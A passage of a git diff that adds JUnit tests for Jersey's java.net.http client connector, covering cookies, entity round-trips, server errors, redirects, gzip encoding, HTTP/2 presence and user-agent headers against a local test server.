ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager()); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() throws IOException { + ClientConfig cc = new ClientConfig(); + cc.property(JavaNetHttpClientProperties.DISABLE_COOKIES, true); + cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager()); + cc.connectorProvider(new JavaNetHttpConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + CookieManager manager = new CookieManager(); + manager.getCookieStore().getCookies(); + + final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector(); + + if (connector.getCookieHandler() != null) { + assertTrue(connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).get("Cookie").isEmpty()); + } else { + assertNull(connector.getCookieHandler()); + } + client.close(); + } + + @Test + public void testCookies() throws IOException { + ClientConfig cc = new ClientConfig(); + final CookieManager manager = new CookieManager(); + cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, manager); + cc.connectorProvider(new JavaNetHttpConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieHandler()); + assertEquals(1, connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).size()); + assertEquals("value", manager.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java new file mode 100644 index 0000000..f1af21c --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java
@@ -0,0 +1,153 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.xml.bind.annotation.XmlRootElement; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + + +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + //For JAXB processing + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()) + .register(JacksonFeature.class); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java new file mode 100644 index 0000000..960f063 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java
@@ -0,0 +1,126 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + final WebTarget target = target("test"); + + for (int i = 0; i < 100; i++) { + final Response resp = target.request().post(Entity.text("POST")); + assertEquals(500, resp.getStatus()); + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() throws ExecutionException, InterruptedException { + final WebTarget target = target("test"); + + final List<Future<Response>> responses = new ArrayList<>(100); + + for (int i = 0; i < 100; i++) { + responses.add(target.request().async().post(Entity.text("POST"))); + } + for (int i = responses.size() - 1; i >= 0;) { + if (responses.get(i).isDone()) { + assertEquals(500, responses.remove(i).get().getStatus()); + i--; + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java new file mode 100644 index 0000000..d645018 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
@@ -0,0 +1,95 @@ +/* + * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.lang.reflect.Constructor; + +class FirstByteCachingStreamTest { + private static InputStream createFirstByteCachingStream(InputStream inner) throws Exception { + Class[] classes = JavaNetHttpConnector.class.getDeclaredClasses(); + for (Class<?> clazz : classes) { + if (clazz.getName().contains("FirstByteCachingStream")) { + Constructor constructor = clazz.getDeclaredConstructor(InputStream.class); + constructor.setAccessible(true); + return (InputStream) constructor.newInstance(inner); + } + } + throw new IllegalArgumentException("JavaNetHttpConnector inner class FirstByteCachingStream not found"); + } + + @Test + void testNoByte() throws Exception { + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[0]); + InputStream testIs = createFirstByteCachingStream(byteArrayInputStream); + Assertions.assertEquals(0, testIs.available()); + } + + @Test + void testOneByte() throws Exception { + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'}); + InputStream testIs = createFirstByteCachingStream(byteArrayInputStream); + Assertions.assertEquals(1, testIs.available()); + Assertions.assertEquals(1, testIs.available()); // idempotency + Assertions.assertEquals('A', testIs.read()); + Assertions.assertEquals(0, testIs.available()); + } + + @Test + void testOneByteInArray() throws Exception { + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'}); + InputStream testIs = createFirstByteCachingStream(byteArrayInputStream); + Assertions.assertEquals(1, testIs.available()); + + byte[] bytes = new byte[1]; + int l = testIs.read(bytes); + Assertions.assertEquals(1, l); + Assertions.assertEquals('A', bytes[0]); + Assertions.assertEquals(0, testIs.available()); + } + + @Test + void testTwoBytes() throws Exception { + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'}); + InputStream testIs = createFirstByteCachingStream(byteArrayInputStream); + Assertions.assertEquals(2, testIs.available()); + Assertions.assertEquals(2, testIs.available()); // idempotency + Assertions.assertEquals('A', testIs.read()); + Assertions.assertEquals(1, testIs.available()); + Assertions.assertEquals(1, testIs.available()); // idempotency + Assertions.assertEquals('B', testIs.read()); + Assertions.assertEquals(0, testIs.available()); + } + + @Test + void testTwoBytesReadAtOnce() throws Exception { + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'}); + InputStream testIs = createFirstByteCachingStream(byteArrayInputStream); + Assertions.assertEquals(2, testIs.available()); + + byte[] bytes = new byte[2]; + int l = testIs.read(bytes); + Assertions.assertEquals(2, l); + Assertions.assertEquals('A', bytes[0]); + Assertions.assertEquals('B', bytes[1]); + Assertions.assertEquals(0, testIs.available()); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java new file mode 100644 index 0000000..f6432a3 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java
@@ -0,0 +1,135 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + + +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); +// TODO uncomment as part of JERSEY-2388 fix. +// assertEquals( +// UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(), +// r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER)); + + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java new file mode 100644 index 0000000..8d94f25 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,101 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(GZIPContentEncodingTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + content[0] = 1; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JavaNetHttpConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java new file mode 100644 index 0000000..5143ec7 --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java
@@ -0,0 +1,158 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + +}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java new file mode 100644 index 0000000..a2eaa3b --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/Http2PresenceTest.java
@@ -0,0 +1,89 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jnh.connector; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import java.net.http.HttpClient; +import java.util.List; +import java.util.logging.Logger; + +import static java.net.http.HttpClient.Version.HTTP_2; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Tests the HTTP2 presence. + * + */ +public class Http2PresenceTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(JavaNetHttpClientProperties.HTTP_VERSION, HTTP_2).connectorProvider(new JavaNetHttpConnectorProvider()); + } + + @Test + public void testHttp2Presence() { + final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider(); + assertTrue(provider instanceof JavaNetHttpConnectorProvider); + + final HttpClient client = ((JavaNetHttpConnectorProvider) provider).getHttpClient(target()); + assertEquals(HTTP_2, client.version()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java new file mode 100644 index 0000000..550183c --- /dev/null +++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HttpHeadersTest.java
